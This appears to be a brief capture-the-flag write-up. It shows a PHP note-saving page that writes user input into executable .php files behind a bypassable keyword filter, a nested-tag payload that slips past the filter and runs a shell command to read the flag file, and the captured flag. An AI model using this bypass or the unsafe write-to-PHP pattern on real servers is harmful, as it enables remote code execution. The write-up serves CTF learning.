ProgrammersHateProgramming 2

oh noes now there are more filters :(( Link: http://147.182.172.217:42007/

---

<?php
if(isset($_POST["notewrite"]))
{
    $newnote = $_POST["notewrite"];
    $notetoadd = str_replace_first("<?php", "", $newnote);
    $notetoadd = str_replace_first("?>", "", $notetoadd);
    $notetoadd = str_replace_first("<?", "", $notetoadd);
    $notetoadd = str_replace_first("flag", "", $notetoadd);

    $notetoadd = str_replace("fopen", "", $notetoadd);
    $notetoadd = str_replace("fread", "", $notetoadd);
    $notetoadd = str_replace("file_get_contents", "", $notetoadd);
    $notetoadd = str_replace("fgets", "", $notetoadd);
    $notetoadd = str_replace("cat", "", $notetoadd);
    $notetoadd = str_replace("strings", "", $notetoadd);
    $notetoadd = str_replace("less", "", $notetoadd);
    $notetoadd = str_replace("more", "", $notetoadd);
    $notetoadd = str_replace("head", "", $notetoadd);
    $notetoadd = str_replace("tail", "", $notetoadd);
    $notetoadd = str_replace("dd", "", $notetoadd);
    $notetoadd = str_replace("cut", "", $notetoadd);
    $notetoadd = str_replace("grep", "", $notetoadd);
    $notetoadd = str_replace("tac", "", $notetoadd);
    $notetoadd = str_replace("awk", "", $notetoadd);
    $notetoadd = str_replace("sed", "", $notetoadd);
    $notetoadd = str_replace("read", "", $notetoadd);
    $notetoadd = str_replace("ls", "", $notetoadd);
    $notetoadd = str_replace("ZeroDayTea is not hot", "", $notetoadd);

    $filename = generateRandomString();
    file_put_contents("$filename.php", $notetoadd);
    header("location:index.php");
}
?>

payload

<?php<?<?php
 echo `sort /flagflag.php`;
?>?>

flag:flag{wow_that_was_a_lot_of_filters_anyways_how_about_that_meaningful_connection_i_mentioned_earlier_:)}